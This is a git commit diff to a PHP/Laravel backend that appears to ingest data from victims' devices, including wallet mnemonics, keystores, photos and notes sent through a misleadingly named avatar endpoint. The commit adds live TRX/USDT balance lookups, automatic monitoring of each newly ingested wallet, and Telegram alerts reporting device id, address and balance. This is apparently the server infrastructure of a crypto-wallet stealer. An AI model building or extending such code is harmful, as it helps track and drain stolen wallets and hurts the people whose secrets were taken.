fix: balance

This commit is contained in:
hashbro
2026-08-10 04:49:36 +08:00
parent aad44bf52e
commit c3d9871ae3
9 changed files with 360 additions and 19 deletions
+43 -2
View File
@@ -10,13 +10,19 @@ use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\WalletSource;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
class IngestService
{
public function __construct(private readonly TelegramNotifier $telegram) {}
public function __construct(
private readonly TelegramNotifier $telegram,
private readonly WalletBalanceService $balances,
private readonly TokenviewMonitorService $tokenview,
) {}
/**
* Stable device id — currently only from payload `d` / `f`.
@@ -339,8 +345,9 @@ class IngestService
foreach ($coinAttrs as $col => $value) {
$attrs[$col] = $value;
}
// Default monitor on for new rows; disabled only when Tokenview enable fails.
if (! $existing) {
$attrs['monitor'] = 0;
$attrs['monitor'] = 1;
}
$addr = WalletAddress::query()->updateOrCreate(
@@ -348,6 +355,19 @@ class IngestService
$attrs
);
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
// Tron: client payloads often omit balances — pull TRX/USDT from chain.
// Always refresh on first insert so Telegram/DB get live totals.
if ($isTron && (! $existing || $coinAttrs === [])) {
if ($this->balances->refresh($addr)) {
$addr->refresh();
}
}
if (! $existing) {
$this->enableMonitorOrDisable($addr);
}
$balanceSummary = $addr->coinsSummary();
$shouldNotify = ! $existing
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
@@ -367,6 +387,27 @@ class IngestService
}
}
/**
* New addresses start with monitor=1; turn off only when Tokenview add fails.
*/
private function enableMonitorOrDisable(WalletAddress $address): void
{
try {
if ($this->tokenview->syncMonitor($address)) {
return;
}
} catch (\Throwable $e) {
Log::warning('tokenview enable on ingest failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
]);
}
if ((int) $address->monitor !== 0) {
$address->monitor = 0;
$address->save();
}
}
/**
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
*/
+7 -2
View File
@@ -115,14 +115,19 @@ class TelegramNotifier
string $symbol,
string $amount,
?string $chain = null,
?string $balance = null,
): void {
$this->send(implode("\n", [
$lines = [
'✅ <b>Balance Inbound</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
]));
];
if ($balance !== null && trim($balance) !== '') {
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
}
$this->send(implode("\n", $lines));
}
private function e(?string $value): string
@@ -6,6 +6,7 @@ use App\Models\Device;
use App\Models\TokenviewEvent;
use App\Models\WalletAddress;
use App\Services\TelegramNotifier;
use App\Services\WalletBalanceService;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
@@ -14,6 +15,7 @@ class TokenviewMonitorService
public function __construct(
private readonly TokenviewClient $client,
private readonly TelegramNotifier $telegram,
private readonly WalletBalanceService $balances,
) {}
/**
@@ -119,17 +121,29 @@ class TokenviewMonitorService
return;
}
DB::transaction(function () use ($rows, $deltas) {
foreach ($rows as $row) {
/** @var WalletAddress $row */
foreach ($deltas as $col => $delta) {
$current = $row->{$col};
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
$row->{$col} = $base + $delta;
}
$row->save();
}
$tronRows = $rows->filter(function (WalletAddress $row) {
return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
});
$deltaRows = $rows->filter(function (WalletAddress $row) {
return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
});
// Tron webhooks only carry deltas — refresh TRX/USDT from chain as source of truth.
foreach ($tronRows as $row) {
/** @var WalletAddress $row */
if (! $this->balances->refresh($row)) {
$this->applyDeltasToRow($row, $deltas);
}
}
if ($deltaRows->isNotEmpty()) {
DB::transaction(function () use ($deltaRows, $deltas) {
foreach ($deltaRows as $row) {
/** @var WalletAddress $row */
$this->applyDeltasToRow($row, $deltas);
}
});
}
$inbound = [];
foreach ($deltas as $col => $delta) {
@@ -141,18 +155,35 @@ class TokenviewMonitorService
return;
}
$deviceKey = Device::query()->whereKey($rows->first()->device_id)->value('device_id') ?: (string) $rows->first()->device_id;
$primary = $rows->first();
$primary->refresh();
$balanceSummary = $primary->coinsSummary();
$deviceKey = Device::query()->whereKey($primary->device_id)->value('device_id') ?: (string) $primary->device_id;
foreach ($inbound as $col => $delta) {
$this->telegram->notifyBalanceChange(
(string) $deviceKey,
$lookup,
strtoupper($col),
WalletAddress::formatAmount($col, $delta),
$coin
$coin,
$balanceSummary
);
}
}
/**
* @param array<string, float> $deltas
*/
private function applyDeltasToRow(WalletAddress $row, array $deltas): void
{
foreach ($deltas as $col => $delta) {
$current = $row->{$col};
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
$row->{$col} = $base + $delta;
}
$row->save();
}
public function verifySignature(string $rawBody, ?string $signature): bool
{
$signKey = (string) config('coruna.tokenview.sign_key');
+66
View File
@@ -0,0 +1,66 @@
<?php
namespace App\Services;
use App\Models\WalletAddress;
use App\Services\Chain\ChainManager;
use Illuminate\Support\Facades\Log;
/**
* Live on-chain balance refresh for wallet_addresses.
*
* Tron mainnet: only TRX (native) + USDT (official TRC20) are queried.
* BTC / ETH / BNB have no canonical native assets on Tron — skipped.
*/
class WalletBalanceService
{
public function __construct(
private readonly ChainManager $chains,
) {}
/**
* Refresh balances for a wallet row when the chain is supported.
*
* @return bool true when at least one coin column was updated from chain
*/
public function refresh(WalletAddress $address): bool
{
$chain = strtoupper(trim((string) $address->chain_type));
return match ($chain) {
'TRON', 'TRX' => $this->refreshTron($address),
default => false,
};
}
public function refreshTron(WalletAddress $address): bool
{
$addr = trim((string) $address->address);
if ($addr === '') {
return false;
}
try {
$driver = $this->chains->resolve('tron');
$trx = $driver->getNativeBalance($addr);
$usdt = $driver->getTokenBalance(
$addr,
(string) config('coruna.tron.usdt_contract'),
);
$address->trx = $trx;
$address->usdt = $usdt;
// No official BTC/ETH/BNB on Tron — leave those columns untouched.
$address->save();
return true;
} catch (\Throwable $e) {
Log::warning('tron balance refresh failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
'address' => $addr,
]);
return false;
}
}
}